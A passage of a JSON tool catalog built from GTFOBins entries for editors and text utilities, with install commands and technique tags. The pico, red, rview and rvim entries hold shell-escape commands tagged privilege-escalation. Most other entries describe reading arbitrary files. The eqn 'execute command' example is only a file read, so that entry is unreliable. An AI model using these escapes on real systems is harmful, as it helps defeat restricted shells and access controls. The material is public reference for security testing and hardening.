    "description": "Simple text editor (Pine message composer), can spawn a shell.",
    "examples": [
      {
        "description": "Spawn a shell via pico",
        "command": "pico /path/to/file\n^R^X\nreset; /bin/sh 1>&0 2>&0\n"
      }
    ],
    "execution": {
      "template": "pico /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-pico",
    "install": [
      {
        "method": "apt",
        "package_name": "pico",
        "commands": [
          "apt-get install -y pico"
        ]
      }
    ],
    "name": "pico",
    "namespace": "text:editor:pico",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pico/"
      }
    ],
    "related_tools": [
      "nano"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "red.md",
    "allowed-tools": [
      "red",
      "ed",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Restricted ed, can spawn a shell via ! command.",
    "examples": [
      {
        "description": "Spawn a shell via red",
        "command": "red\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "red /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-red",
    "install": [
      {
        "method": "apt",
        "package_name": "ed",
        "commands": [
          "apt-get install -y ed"
        ]
      }
    ],
    "name": "red",
    "namespace": "text:editor:red",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/red/"
      }
    ],
    "related_tools": [
      "ed",
      "ex"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rview.md",
    "allowed-tools": [
      "rview",
      "vi",
      "vim",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Restricted view (vim in restricted mode), can spawn a shell via ! command.",
    "examples": [
      {
        "description": "Spawn a shell via rview",
        "command": "rview /path/to/file\n:!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "rview /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-rview",
    "install": [
      {
        "method": "apt",
        "package_name": "vim-common",
        "commands": [
          "apt-get install -y vim-common"
        ]
      }
    ],
    "name": "rview",
    "namespace": "text:editor:rview",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rview/"
      }
    ],
    "related_tools": [
      "vi",
      "vim",
      "rvim"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "rvim.md",
    "allowed-tools": [
      "rvim",
      "vi",
      "vim",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Restricted vim, can spawn a shell via ! command.",
    "examples": [
      {
        "description": "Spawn a shell via rvim",
        "command": "rvim /path/to/file\n:!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "rvim /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-rvim",
    "install": [
      {
        "method": "apt",
        "package_name": "vim-common",
        "commands": [
          "apt-get install -y vim-common"
        ]
      }
    ],
    "name": "rvim",
    "namespace": "text:editor:rvim",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/rvim/"
      }
    ],
    "related_tools": [
      "vi",
      "vim",
      "rview"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "column.md",
    "allowed-tools": [
      "column",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Columnate text input, can read files by formatting arbitrary file content.",
    "examples": [
      {
        "description": "Read a file via column",
        "command": "column /path/to/input-file"
      }
    ],
    "execution": {
      "template": "column {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "text-format-column",
    "install": [
      {
        "method": "apt",
        "package_name": "bsdmainutils",
        "commands": [
          "apt-get install -y bsdmainutils"
        ]
      }
    ],
    "name": "column",
    "namespace": "text:format:column",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/column/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "eqn.md",
    "allowed-tools": [
      "eqn",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Equation formatter for troff, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via eqn",
        "command": "eqn /path/to/file"
      },
      {
        "description": "Execute command via eqn",
        "command": "eqn /path/to/file"
      }
    ],
    "execution": {
      "template": "eqn /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-format-eqn",
    "install": [
      {
        "method": "apt",
        "package_name": "groff-base",
        "commands": [
          "apt-get install -y groff-base"
        ]
      }
    ],
    "name": "eqn",
    "namespace": "text:format:eqn",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/eqn/"
      }
    ],
    "related_tools": [
      "troff",
      "groff"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "fmt.md",
    "allowed-tools": [
      "fmt",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Simple text formatter, can read files.",
    "examples": [
      {
        "description": "Read a file via fmt",
        "command": "fmt /path/to/file"
      }
    ],
    "execution": {
      "template": "fmt /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-format-fmt",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "fmt",
    "namespace": "text:format:fmt",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fmt/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "fold.md",
    "allowed-tools": [
      "fold",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Wrap text lines, can read files.",
    "examples": [
      {
        "description": "Read a file via fold",
        "command": "fold /path/to/file"
      }
    ],
    "execution": {
      "template": "fold /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-format-fold",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "fold",
    "namespace": "text:format:fold",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/fold/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pr.md",
    "allowed-tools": [
      "pr",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert text files for printing, can read files.",
    "examples": [
      {
        "description": "Read a file via pr",
        "command": "pr /path/to/file"
      }
    ],
    "execution": {
      "template": "pr /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-format-pr",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "pr",
    "namespace": "text:format:pr",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pr/"
      }
    ],
    "related_tools": [
      "nl",
      "fold"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ptx.md",
    "allowed-tools": [
      "ptx",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Permuted index generator, can read files.",
    "examples": [
      {
        "description": "Read a file via ptx",
        "command": "ptx /path/to/file"
      }
    ],
    "execution": {
      "template": "ptx /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-format-ptx",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "ptx",
    "namespace": "text:format:ptx",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ptx/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "msgattrib.md",
    "allowed-tools": [
      "msgattrib",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gettext catalog attribute filter, can read files.",
    "examples": [
      {
        "description": "Read a file via msgattrib",
        "command": "msgattrib /path/to/file.po"
      }
    ],
    "execution": {
      "template": "msgattrib /path/to/file.po",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-gettext-msgattrib",
    "install": [
      {
        "method": "apt",
        "package_name": "gettext",
        "commands": [
          "apt-get install -y gettext"
        ]
      }
    ],
    "name": "msgattrib",
    "namespace": "text:gettext:msgattrib",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msgattrib/"
      }
    ],
    "related_tools": [
      "msgcat",
      "msgconv",
      "msgfilter",
      "msgmerge",
      "msguniq"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "msgcat.md",
    "allowed-tools": [
      "msgcat",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gettext catalog concatenation, can read files.",
    "examples": [
      {
        "description": "Read a file via msgcat",
        "command": "msgcat /path/to/file.po"
      }
    ],
    "execution": {
      "template": "msgcat /path/to/file.po",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-gettext-msgcat",
    "install": [
      {
        "method": "apt",
        "package_name": "gettext",
        "commands": [
          "apt-get install -y gettext"
        ]
      }
    ],
    "name": "msgcat",
    "namespace": "text:gettext:msgcat",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msgcat/"
      }
    ],
    "related_tools": [
      "msgattrib",
      "msgconv",
      "msgfilter",
      "msgmerge",
      "msguniq"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "msgconv.md",
    "allowed-tools": [
      "msgconv",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gettext catalog charset conversion, can read files.",
    "examples": [
      {
        "description": "Read a file via msgconv",
        "command": "msgconv /path/to/file.po"
      }
    ],
    "execution": {
      "template": "msgconv /path/to/file.po",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-gettext-msgconv",
    "install": [
      {
        "method": "apt",
        "package_name": "gettext",
        "commands": [
          "apt-get install -y gettext"
        ]
      }
    ],
    "name": "msgconv",
    "namespace": "text:gettext:msgconv",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msgconv/"
      }
    ],
    "related_tools": [
      "msgattrib",
      "msgcat",
      "msgfilter",
      "msgmerge",
      "msguniq"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "msgfilter.md",
    "allowed-tools": [
      "msgfilter",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gettext catalog filter, can read files.",
    "examples": [
      {
        "description": "Read a file via msgfilter",
        "command": "msgfilter /path/to/file.po"
      }
    ],
    "execution": {
      "template": "msgfilter /path/to/file.po",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-gettext-msgfilter",
    "install": [
      {
        "method": "apt",
        "package_name": "gettext",
        "commands": [
          "apt-get install -y gettext"
        ]
      }
    ],
    "name": "msgfilter",
    "namespace": "text:gettext:msgfilter",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msgfilter/"
      }
    ],
    "related_tools": [
      "msgattrib",
      "msgcat",
      "msgconv",
      "msgmerge",
      "msguniq"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "msgmerge.md",
    "allowed-tools": [
      "msgmerge",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gettext catalog merging, can read files.",
    "examples": [
      {
        "description": "Read a file via msgmerge",
        "command": "msgmerge /path/to/file.po"
      }
    ],
    "execution": {
      "template": "msgmerge /path/to/file.po",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-gettext-msgmerge",
    "install": [
      {
        "method": "apt",
        "package_name": "gettext",
        "commands": [
          "apt-get install -y gettext"
        ]
      }
    ],
    "name": "msgmerge",
    "namespace": "text:gettext:msgmerge",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msgmerge/"
      }
    ],
    "related_tools": [
      "msgattrib",
      "msgcat",
      "msgconv",
      "msgfilter",
      "msguniq"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "msguniq.md",
    "allowed-tools": [
      "msguniq",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Gettext catalog unique entry finder, can read files.",
    "examples": [
      {
        "description": "Read a file via msguniq",
        "command": "msguniq /path/to/file.po"
      }
    ],
    "execution": {
      "template": "msguniq /path/to/file.po",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-gettext-msguniq",
    "install": [
      {
        "method": "apt",
        "package_name": "gettext",
        "commands": [
          "apt-get install -y gettext"
        ]
      }
    ],
    "name": "msguniq",
    "namespace": "text:gettext:msguniq",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/msguniq/"
      }
    ],
    "related_tools": [
      "msgattrib",
      "msgcat",
      "msgconv",
      "msgfilter",
      "msgmerge"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "highlight.md",
    "allowed-tools": [
      "highlight",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Source code highlighter, can read files.",
    "examples": [
      {
        "description": "Read a file via highlight",
        "command": "highlight /path/to/file"
      }
    ],
    "execution": {
      "template": "highlight /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-highlight-highlight",
    "install": [
      {
        "method": "apt",
        "package_name": "highlight",
        "commands": [
          "apt-get install -y highlight"
        ]
      }
    ],
    "name": "highlight",
    "namespace": "text:highlight:highlight",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/highlight/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pygmentize.md",
    "allowed-tools": [
      "pygmentize",
      "highlight",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Source code highlighter, can read files.",
    "examples": [
      {
        "description": "Read a file via pygmentize",
        "command": "pygmentize /path/to/file"
      }
    ],
    "execution": {
      "template": "pygmentize /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-highlight-pygmentize",
    "install": [
      {
        "method": "pip",
        "package_name": "Pygments",
        "commands": [
          "pip install Pygments"
        ]
      }
    ],
    "name": "pygmentize",
    "namespace": "text:highlight:pygmentize",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pygmentize/"
      }
    ],
    "related_tools": [
      "highlight"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
